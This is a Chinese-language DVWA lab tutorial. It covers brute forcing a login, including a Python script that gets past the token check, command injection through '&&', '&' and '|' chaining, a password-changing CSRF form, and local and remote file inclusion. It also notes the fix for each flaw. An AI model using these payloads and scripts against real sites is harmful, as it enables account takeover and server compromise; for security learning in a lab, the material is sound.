一、DVWA部署
1、打造firefox渗透测试神器
- firebug
- hackbar
- tamper data
- proxy switcher
2、部署web服务器环境
下载phpstudy环境集成包直接部署。
3、部署web渗透测试环境DVWA
- 从github下载DVWA
- 将DVWA-master.zip解压到phpstudy网站的WWW根目录。
- 修改dvwa的数据库配置文件config/config.inc.php,修改红框中的密码为root,和phpstudy保持一致。
- 访问http://自己电脑的IP/DVWA目录/setup.php,点击“Create/Reset Database”按钮创建数据库。
- 跳转到http://自己电脑的IP/DVWA目录/login.php,输入用户名admin,密码password,成功登陆,DVWA部署成功。
二、暴力破解
1、概述
暴力破解即穷举法,理论上可以破解任何有规律的信息,只要算力够强。以忘记行李箱密码为例。
2、手工实战
2.1 登录dvwa进入brute force模块
打开dvwa设置security level为low进入brute force模块。
2.2 确认破解动作
- 输入用户名
- 输入密码
- 点击login按钮
2.3 确认破解结果
- 输入任意用户名密码,得到登录失败的红字Username and/or password incorrect提示。
- 与破解行李箱不同,破解成功行李箱打开是常识,但这里是不知道输入正确用户名和密码后页面的变化的。但可以确定的是成功页面与失败页面不同。
2.4 确认破解范围
准备username.txt、password.txt,其中username含有4个用户名,password含有8个密码,破解范围共有32种组合。
2.5 开始暴力破解
- 输入用户名admin与密码password组合
- 破解成功界面如下
3、自动实战
仍然将dvwa的security level设置为low进入brute force模块。
3.1 安装代理软件owasp zap
下载链接:https://www.zaproxy.org/download/
需要首先安装java环境
3.2 确认破解动作
进一步分析手动操作过程,只有点击login按钮后,浏览器才向服务器发送了数据包。
配置好firefox代理,使用zap抓包
仔细分析,我们可以使用zap代替浏览器,直接向web服务器发送数据包,通过程序循环调整数据包中的参数,即可达到自动化的目标。
3.3 确认破解结果
可以对比源码的方式,判断破解是否成功,但是也比较慢。
可以通过zap中响应包的大小,来判断正确与否。
3.4 确认破解范围
破解范围与手工操作类似,具体操作时可以在zap中设置对应于username和password字典文件即可。
3.5 开始暴力破解
破解结果与手工操作相同。
4、实战进阶
以上手工和自动实战都是将dvwa的security level设置为low实操作的,下面我们尝试设置为其他等级时候的情况。
4.1、设置security level为medium
依然能够破解成功,区别在于需要等待更长的时间,low等级每次发包间隔是毫秒级,而medium等级是秒级。
阅读dvwa的源码可知,medium等级每当登录失败会暂停两秒,增加了破解的时间成本。
4.2、设置security level为high
- 之前的破解已经失效,抓包每次登陆多了一个user_token参数,并且是不可预测的随机字符串。通过搜索查找,发现user_token在上一条数据的响应包中。
- 设计破解动作为,不断重复访问首页并获取user_token,发送带user_token的登录数据包。
- 破解代码如下
#-*-coding:utf-8-*-
import urllib2
import urllib
import re
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor)
opener.addheaders
#此时会显示 "Python-urllib/2.7" ,改写addheaders[0]为浏览器的User-Agent,覆盖掉原来的Python-urllib/2.7
opener.addheaders[0]=("User-Agent","Mozilla/5.0 (Windows NT 6.1; rv:53.0) Gecko/20100101 Firefox/53.0")
#添加Cookie
opener.addheaders.append(('Cookie','security=high;PHPSESSID=dd6nn632vd940m8rls6u9egv82'))
#最后可以使用一个opener打开多个内容
usernames = ['admin','manage','system','root']
passwords = ['admin','root','123456','password','abc123','111111','qwerty','000000']
for username in usernames:
for password in passwords:
#确认破解动作
#访问首页
response = opener.open('http://10.0.2.15/DVWA-1.9/vulnerabilities/brute/')
content = response.read()
#获取user_token
user_token = re.findall(r"(?<=<input type='hidden' name='user_token' value=').+?(?=' />)",content)[0]
#发送数据包
url = 'http://10.0.2.15/DVWA-1.9/vulnerabilities/brute/?username='+username+'&password='+password+'&Login=Login&user_token='+user_token
response = opener.open(url)
content = response.read()
#确认破解结果
print '-'*20
print u'用户名: '+username
print u'密码: '+password
if 'Username and/or password incorrect.' in content:
print u'破解失败!'
else:
print u'破解成功!'
print '-'*20
- 破解结果截图
4.3、设置security level为impossible
限制登录次数,输错3次,锁定15分钟,防止暴力破解。
4.4、现实中常见的防爆方式为验证码
三、命令注入
1、概述
命令注入即 Command Injection。是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。
2、漏洞实战
2.1 设置security level为low
- 输入的命令为 ping 127.0.0.1 && net user
- 结果如图
2.2 设置security level为medium
- 输入的命令为 ping 127.0.0.1 & net user
由于两个&&符号被过滤,这里使用了windows下的命令拼接符号,一个&符号。
- 结果与low等级相同
2.3 设置security level为high
- 输入的命令为 ping 127.0.0.1 | net user
此时两个&&符号和一个&符号均被过滤,这里使用了windows下的管道符号,一个|符号,表示将前一个命令的输出结果传递给下一个命令。
- 结果如图
可以看到只有net user的结果展示了出来,ping命令的输出结果被当做了net user命令的输入没有展示,但是不影响利用。
2.4 设置security level为impossible
- 尝试以上的注入方式后,均以失败告终,impossible等级通过限制输入IP地址的格式,有效的防止了命令注入。
- 对修复命令注入漏洞的一些思考
- 黑名单×: 往往不靠谱,因为经常可以通过各种字符串拼接的技巧绕过。
- 白名单√:比较靠谱,比如这里的限制IP地址格式。
- windows下常见命令拼接符号的区别
3、实战技巧
3.1、黑名单过滤了敏感命令怎么办?
windows下可以通过双引号“”拼接的方式绕过,linux下单引号和双引号都支持。
3.2、如果不显示输出结果怎么办?
- 延时注入
拼接延时的命令,通过web服务器的响应时间来判断。 - 远程请求
搭建web服务器,让被注入的主机来请求,前端看不到响应信息,但是在我们搭建的web服务器上可以看到请求。现在更常用的是dns查询,比如nslookup查询。
四、CSRF
1、概述
csrf即cross-site request forgery跨站请求伪造,由受害者进行操作,仅仅F由攻击者进行,也是csrf漏洞的精髓所在。
受害者角度,用户在当前已登录web应用程序上执行非本意的操作。
攻击者角度,攻击者欺骗浏览器,让其以受害者的名义,执行自己想要的操作。
2、漏洞实战
2.1 设置security level为low
- 正常操作流程如下,为常见的密码修改界面,可正常手工操作。
- 与暴力破解类似,以上三步正常操作流程,仅最后一步发送数据包时,浏览器与web服务器进行了交互。
- 使用火狐的tamper data插件抓包如下,右键点击记录后,选择replay in browser。
- 转到如图页面,可以对数据包进行tamper修改,可以将参数中的test修改为password进行验证。
- 由此可以得到攻击者的原始思路如下,将2步骤中发送的数据包,编辑成下图蓝色框中的链接,诱导受害者点击,但是我们看到这种链接,一般是不会点击的。
- 将上面的连接包装一下,构造一个新的html文件如下,input和split url中的参数一一对应,这里为了演示通过点击Click Me按钮提交,真正攻击时,黑客都是通过js脚本自动提交。
- 构造的csrf.html内容如下,并将其放到phpstudy的WWW根目录下,为了与dvwa进行区分这里使用127.0.0.1进行访问。
csrf.html
<html>
<head>
<title>csrf_test</title>
</head>
<body>
<form action = "http://10.0.2.15/DVWA-1.9/vulnerabilities/csrf/">
<input type = "hidden" name = 'password_new' value = "hacker" />
<input type = "hidden" name = 'password_conf' value = "hacker" />
<input type = "hidden" name = 'Change' value = "Change" />
<input type = "submit" value = "Click Me" />
</form>
</body>
</html>
- 诱骗受害者进行点击,点击后密码被修改为hacker,攻击者即使发现也已经为时已晚,攻击者已经进行了自己想要的操作。
2.2 设置security level为medium
- 使用low等级的方法,提示请求不正确。
- 继续使用tamper data,抓取一次手工输入的正确数据包,和一次使用low等级方法访问http://127.0.0.1/csrf.html进行操作的错误数据包进行对比,可以看到最大的不同就是Referer这个变量不同。
- 点击tamper data的start tamper,抓取数据包修改Referer进行不断尝试,直到成功。
- 尝试得知Referer只要包含host就能绕过medium等级的限制。
- medium等级新的攻击尝试,自动生成的Referer前面的127.0.0.1是不能修改的,既然是Referer包含host就能绕过限制,那可以通过构造名称为host的网站目录来达到这一目的。思路如图!结果成功与low等级相同。
2.3 设置security level为high
- 对比发现请求参数中比medium和low等级多了一条user_token,这个与暴力破解的user_token类似,来源于上一条记录。
- 使用medium和low等级的方法已经无法利用,需要结合xss漏洞获取页面中的user_token参数后,才能进行csrf攻击。
- 上面图片中红框中提示的错误信息并不是user_token,而是csrf_token,我们称这种类型的随机参数为csrf token,它保证了攻击者无法猜测到所有参数。
2.3 设置security level为impossible
- 需要输入原始密码才能修改密码,理论上只有用户自己才知道密码,有效的防止了CSRF。
3、漏洞修复
- medium等级的校验Referer
- high等级的随机token
- impossible等级的验证码或者原始密码,牺牲了用户体验
五、文件包含
1、概述
文件包含就是三十六计中的偷梁换柱,一些代码处理方法,如include,require等,参数是文件名,文件名参数用户可控,且过滤不严,就会被攻击者利用。
2、漏洞实战
首先要将phpstudy中的allow_url_include勾选,开启文件包含功能。
2.1、设置security level为low
2.1.1、本地文件包含
- 正常操作,变化的url参数只有page后面的file.php
- 尝试将page参数改为test.php,报错,同时暴露了web的绝对路径。
- 思考,由暴露出来的绝对路径猜测include函数的参数如下。
- 攻击-读取本地文件,通过…/…/实现目录跳转,读取php.ini的内容,验证成功。
- 思考,读取其他目录的php脚本会怎样,是显示脚本内容,还是执行?通过读取phpinfo.php验证结果为执行脚本。
2.1.2、远程文件包含
攻击者肯定是不满足的,执行服务端本来就有的脚本文件,没什么杀伤力,能不能包含远程文件呢?前面一会显示文件内容,一会执行文件,到底什么时候执行文件?
远程文件包含使用127.0.0.1的网站,其实和dvwa在同一个网站目录下,只是写法不同,通过在127.0.0.1的网站中放入内容如图所示的phpinfo.txt。
按照如图红框所示的方式,远程包含127.0.0.1网站的phpinfo.txt,结果成功执行。由此得出可以执行远程文件,而且非php格式的文件,只要里面包含php代码就能执行,其实嵌入php的代码的图片,也会被执行。
需要注意的是,其实本地包含中的phpinfo.php、phpinfo.txt和远程包含的phpinfo.txt、phpinfo.php均会被执行。但是通过运行结果的server_name可知,远程包含的phpinfo.php是在攻击者的服务器上执行的,在被攻击者的服务器上执行才是我们想要的结果,因此远程包含时phpinfo.txt或者其他非php格式的文件才是正解。
完整的攻击者思路图解如下。